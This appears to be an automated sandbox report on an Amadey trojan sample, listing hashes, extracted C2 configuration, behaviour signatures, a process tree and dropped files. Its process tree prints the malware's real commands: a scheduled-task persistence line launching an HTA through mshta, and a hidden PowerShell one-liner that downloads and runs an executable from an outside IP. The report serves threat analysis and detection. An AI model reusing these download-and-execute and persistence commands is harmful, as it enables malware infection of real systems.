Analysis

  • max time kernel
    143s
  • max time network
    151s
  • platform
    windows7_x64
  • resource
    win7-20241010-en
  • resource tags

    arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
  • submitted
    24/03/2025, 07:50

General

  • Target

    0e4c2d84c6184bb07a420c60fa527fa1fa484a080e92bddd59d3737d47a23af1.exe

  • Size

    938KB

  • MD5

    3c9fe35d228454d41a439411bb05736b

  • SHA1

    6757675488a29b5031507d5924fa9fcc52c02f6d

  • SHA256

    0e4c2d84c6184bb07a420c60fa527fa1fa484a080e92bddd59d3737d47a23af1

  • SHA512

    8803b09c53533308e7d9dd8810136bece13335896c7a125b7a05ebd315bdb7151d7b81fbf167a7378f33ba97020668dd35fc406faee5ac6fc4959745b066e7fd

  • SSDEEP

    24576:DqDEvCTbMWu7rQYlBQcBiT6rprG8a03u:DTvC/MTQYxsWR7a03

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Family

amadey

Version

5.21

Botnet

092155

C2

http://176.113.115.6

Attributes
  • install_dir

    bb556cff4a

  • install_file

    rapes.exe

  • strings_key

    a131b127e996a898cd19ffb2d92e481b

  • url_paths

    /Ni9kiput/index.php

rc4.plain

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

  • Amadey family
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 2 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Downloads MZ/PE file 3 IoCs
  • Checks BIOS information in registry 2 TTPs 4 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Executes dropped EXE 4 IoCs
  • Identifies Wine through registry keys 2 TTPs 2 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

  • Loads dropped DLL 9 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 4 IoCs
  • Suspicious use of SendNotifyMessage 3 IoCs
  • Suspicious use of WriteProcessMemory 35 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\0e4c2d84c6184bb07a420c60fa527fa1fa484a080e92bddd59d3737d47a23af1.exe
    "C:\Users\Admin\AppData\Local\Temp\0e4c2d84c6184bb07a420c60fa527fa1fa484a080e92bddd59d3737d47a23af1.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:2568
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn 5O4MDmacKLI /tr "mshta C:\Users\Admin\AppData\Local\Temp\SDTQMVmH7.hta" /sc minute /mo 25 /ru "Admin" /f
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2536
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /create /tn 5O4MDmacKLI /tr "mshta C:\Users\Admin\AppData\Local\Temp\SDTQMVmH7.hta" /sc minute /mo 25 /ru "Admin" /f
        3⤵
        • System Location Discovery: System Language Discovery
        • Scheduled Task/Job: Scheduled Task
        PID:1796
    • C:\Windows\SysWOW64\mshta.exe
      mshta C:\Users\Admin\AppData\Local\Temp\SDTQMVmH7.hta
      2⤵
      • System Location Discovery: System Language Discovery
      • Modifies Internet Explorer settings
      • Suspicious use of WriteProcessMemory
      PID:2348
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'TZUB5XXUGOCQSZMNR9FEFI1MOEJSAQ2O.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Downloads MZ/PE file
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2124
        • C:\Users\Admin\AppData\Local\TempTZUB5XXUGOCQSZMNR9FEFI1MOEJSAQ2O.EXE
          "C:\Users\Admin\AppData\Local\TempTZUB5XXUGOCQSZMNR9FEFI1MOEJSAQ2O.EXE"
          4⤵
          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
          • Checks BIOS information in registry
          • Executes dropped EXE
          • Identifies Wine through registry keys
          • Loads dropped DLL
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of WriteProcessMemory
          PID:2660
          • C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
            "C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"
            5⤵
            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
            • Downloads MZ/PE file
            • Checks BIOS information in registry
            • Executes dropped EXE
            • Identifies Wine through registry keys
            • Loads dropped DLL
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:1676
            • C:\Users\Admin\AppData\Local\Temp\10318590101\laf6w_001.exe
              "C:\Users\Admin\AppData\Local\Temp\10318590101\laf6w_001.exe"
              6⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              PID:1764
            • C:\Users\Admin\AppData\Local\Temp\10318600101\9d0bc11efe.exe
              "C:\Users\Admin\AppData\Local\Temp\10318600101\9d0bc11efe.exe"
              6⤵
              • Executes dropped EXE
              • Suspicious use of WriteProcessMemory
              PID:2860
              • C:\Windows\system32\WerFault.exe
                C:\Windows\system32\WerFault.exe -u -p 2860 -s 36
                7⤵
                • Loads dropped DLL
                PID:3024

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\10318590101\laf6w_001.exe

    Filesize

    1.2MB

    MD5

    d6ea7e3f4fe6ed3f10591b5d2cfa330e

    SHA1

    a8e4168f3bb2586af3c3b48f24401cfe5e828b53

    SHA256

    94ea263e7adea5df392a68dd41332d718e88c0afec14ee98ebf91fc2f42c586d

    SHA512

    225c07356c88a91d2ba4d32dd55da945fd06f0971885d7d6801fe8d27d85303926425c6fc9dda4877d6050c48c2dd5109d9d6e88d107df72f88b89a29ff61bc8

  • C:\Users\Admin\AppData\Local\Temp\10318600101\9d0bc11efe.exe

    Filesize

    1.1MB

    MD5

    999c92338f2c92dd095a74f0581fe012

    SHA1

    62d53a745cc4d83a0d00a865cf7f2ec28fb84b1b

    SHA256

    b28e8a5c04dbfcbf462014aedc83bafec26d0eedebefca620b740df26cb09700

    SHA512

    a94b4ba0c4677d0ac231f0047a1eb7556bf7b36b7bcda896782711ff3bb52800ab26f28fe36ef2d445dce3134d5ce8c024466451dd1e58842b5ebbe7e35a70e3

  • C:\Users\Admin\AppData\Local\Temp\SDTQMVmH7.hta

    Filesize

    717B

    MD5

    9f5ba6be30c500f4d27d814b4c3fd2ca

    SHA1

    6afa1749d5e5f685edf9f8b9cc06e83b542f8f97

    SHA256

    7fee275b2c1aedff826763b4e8d7b43832422066276476f5b35dab7bd8282f64

    SHA512

    cf7c1ee495427610eb2272632481765b80c2de6491b050ecff3bc8584f51cba2170abac050b37cc677e9cda658509e05145cb67f7159fad62af555a3eb8f80e0

  • \Users\Admin\AppData\Local\TempTZUB5XXUGOCQSZMNR9FEFI1MOEJSAQ2O.EXE

    Filesize

    1.8MB

    MD5

    780ba8922dbecc4484b5af39f4ea0729

    SHA1

    a2b78ec0cad2888a1d90055ed606b835dc516292

    SHA256

    7f667b98ed04aa91b7b32eed82a4524f4fc8b91fbdc20086947754c9c4a0ecac

    SHA512

    2a31994c89ceeb6809f3247e2e56785ba6f9515627e220df39e9f9d77409d459b4bdd13026ae75ca7296c9f858dbbe5d704da83c0d3b9abda1e46e1b65f9c112

  • memory/1676-25-0x0000000000DD0000-0x0000000001289000-memory.dmp

    Filesize

    4.7MB

  • memory/1676-67-0x0000000000DD0000-0x0000000001289000-memory.dmp

    Filesize

    4.7MB

  • memory/1676-76-0x0000000000DD0000-0x0000000001289000-memory.dmp

    Filesize

    4.7MB

  • memory/1676-75-0x0000000000DD0000-0x0000000001289000-memory.dmp

    Filesize

    4.7MB

  • memory/1676-74-0x0000000000DD0000-0x0000000001289000-memory.dmp

    Filesize

    4.7MB

  • memory/1676-36-0x0000000000DD0000-0x0000000001289000-memory.dmp

    Filesize

    4.7MB

  • memory/1676-35-0x0000000000DD0000-0x0000000001289000-memory.dmp

    Filesize

    4.7MB

  • memory/1676-73-0x0000000000DD0000-0x0000000001289000-memory.dmp

    Filesize

    4.7MB

  • memory/1676-72-0x0000000000DD0000-0x0000000001289000-memory.dmp

    Filesize

    4.7MB

  • memory/1676-65-0x0000000000DD0000-0x0000000001289000-memory.dmp

    Filesize

    4.7MB

  • memory/1676-66-0x0000000000DD0000-0x0000000001289000-memory.dmp

    Filesize

    4.7MB

  • memory/1676-71-0x0000000000DD0000-0x0000000001289000-memory.dmp

    Filesize

    4.7MB

  • memory/1676-68-0x0000000000DD0000-0x0000000001289000-memory.dmp

    Filesize

    4.7MB

  • memory/1676-69-0x0000000000DD0000-0x0000000001289000-memory.dmp

    Filesize

    4.7MB

  • memory/1676-70-0x0000000000DD0000-0x0000000001289000-memory.dmp

    Filesize

    4.7MB

  • memory/1764-43-0x0000000000400000-0x0000000000681000-memory.dmp

    Filesize

    2.5MB

  • memory/2124-10-0x0000000006020000-0x00000000064D9000-memory.dmp

    Filesize

    4.7MB

  • memory/2660-24-0x0000000000C00000-0x00000000010B9000-memory.dmp

    Filesize

    4.7MB

  • memory/2660-11-0x0000000000C00000-0x00000000010B9000-memory.dmp

    Filesize

    4.7MB

  • memory/2660-27-0x0000000006480000-0x0000000006939000-memory.dmp

    Filesize

    4.7MB

  • memory/2660-22-0x0000000006480000-0x0000000006939000-memory.dmp

    Filesize

    4.7MB